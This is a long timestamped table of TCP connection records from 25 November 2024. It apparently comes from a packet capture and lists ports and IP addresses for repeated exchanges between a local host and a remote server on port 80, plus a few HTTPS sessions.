Nov 25, 2024 03:39:51.480850935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.480904102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.480940104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.481153011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.481714964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.481775999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.481822968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.481935024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.482584953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.482635021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.482686043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.482732058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.483458996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.483501911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.483506918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.483567953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.484355927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.484405041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.484466076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.484683037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.485249996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.485362053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.485413074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.486124992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.486176968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.486216068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.486252069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.487013102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.487081051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.487123966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.487874031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.487960100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.488019943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.488765955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.488810062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.488900900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.488945961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.489631891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.489697933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.489706993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.489759922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.490520000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.490637064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.490674973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.490696907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.491398096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.491492033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.491553068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.492260933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.492358923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.492430925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.493161917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.493272066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.493314028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.493345976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.494024038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.494129896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.494188070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.494910955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.494962931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.495021105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.495057106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.495790958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.495897055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.496212959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.496653080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.496711016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.496746063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.496857882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.497548103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.497592926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.497651100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.497684002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.498416901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.498465061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.498507977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.498692036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.499305010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.499409914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.499484062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.500216007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.500286102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.500335932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.505892992 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.505918980 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.506129026 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.506143093 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.506443977 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.516319990 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.516400099 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.516408920 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.516428947 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.516483068 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.516871929 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.516887903 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.531848907 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.531876087 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.531898022 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.531979084 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.531980038 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.532011986 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.532071114 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.595993042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.596101999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.596298933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.596466064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.596527100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.596597910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.597311974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.597362041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.597402096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.597439051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.598131895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.598186970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.598259926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.598401070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.599014044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.599066973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.599123955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.599224091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.599903107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.599999905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.600047112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.600773096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.600827932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.600945950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.600997925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.601643085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.601711988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.601763964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.602530956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.602572918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.602644920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.602691889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.603419065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.603470087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.603507042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.603544950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.603760958 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.603786945 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.603833914 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.603848934 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.603871107 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.603890896 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.604291916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.604340076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.604389906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.604713917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.605209112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.605258942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.605295897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.605360031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.606054068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.606108904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.606144905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.606194019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.606904030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.606957912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.630338907 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.630373955 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.630480051 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.630496979 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.630585909 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.650593042 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.650626898 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.650707960 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.650729895 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.650763988 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.650818110 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.667996883 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.668026924 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.668102980 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.668119907 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.668183088 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.668822050 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.668869972 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:51.669104099 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.669548988 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.669567108 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:51.676836014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.676865101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.676965952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.677248955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.677300930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.677337885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.677376986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.678132057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.678189039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.678220034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.678256035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.679013968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.679065943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.679119110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.679379940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.679877043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.679982901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.680044889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.680746078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.680808067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.680845022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.680881023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.681622982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.681679964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.681716919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.681926012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.682496071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.682550907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.682610989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.682677031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.683389902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.683443069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.683480978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.683516979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.684258938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.684304953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.684380054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.684421062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.685154915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.685204029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.685276031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.685406923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.686036110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.686089993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.686153889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.686213970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.686912060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.686961889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.687022924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.687067986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.687769890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.687891006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.687939882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.688683033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.688751936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.688801050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.689552069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.689619064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.689681053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.689759970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.690438986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.690494061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.690527916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.690586090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.691323996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.691418886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.691466093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.692176104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.692226887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.692281961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.692389965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.693070889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.693177938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.693181992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.693345070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.693989992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.694108009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.694295883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.694813967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.694931984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.694992065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.695714951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.695847988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.695894003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.696578979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.696687937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.696747065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.697460890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.697513103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.697560072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.697594881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.698354959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.698440075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.698497057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.699234009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.699246883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.699284077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.700078964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.700128078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.700192928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.700232983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.700964928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.701014042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.701062918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.701102018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.701849937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.701899052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.701951981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.702101946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.702744007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.702799082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.702838898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.702931881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.703634024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.703681946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.703741074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.703783035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.704489946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.704540014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.704583883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.704627991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.705365896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.705419064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.705476046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.705513000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.706262112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.706312895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.706340075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.706628084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.707135916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.707257032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.707309961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.708025932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.708133936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.708185911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.708887100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.708996058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.709011078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.709037066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.709780931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.709834099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.709877014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.709913015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.710664034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.710715055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.710737944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.710779905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.727087975 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.727116108 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.727181911 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.727200031 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.727273941 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.727273941 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.769027948 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.769046068 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.769118071 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.769129992 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.769277096 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.807427883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.807492018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.807543039 CET	80	49748	185.215.113.206	192.168.2.8
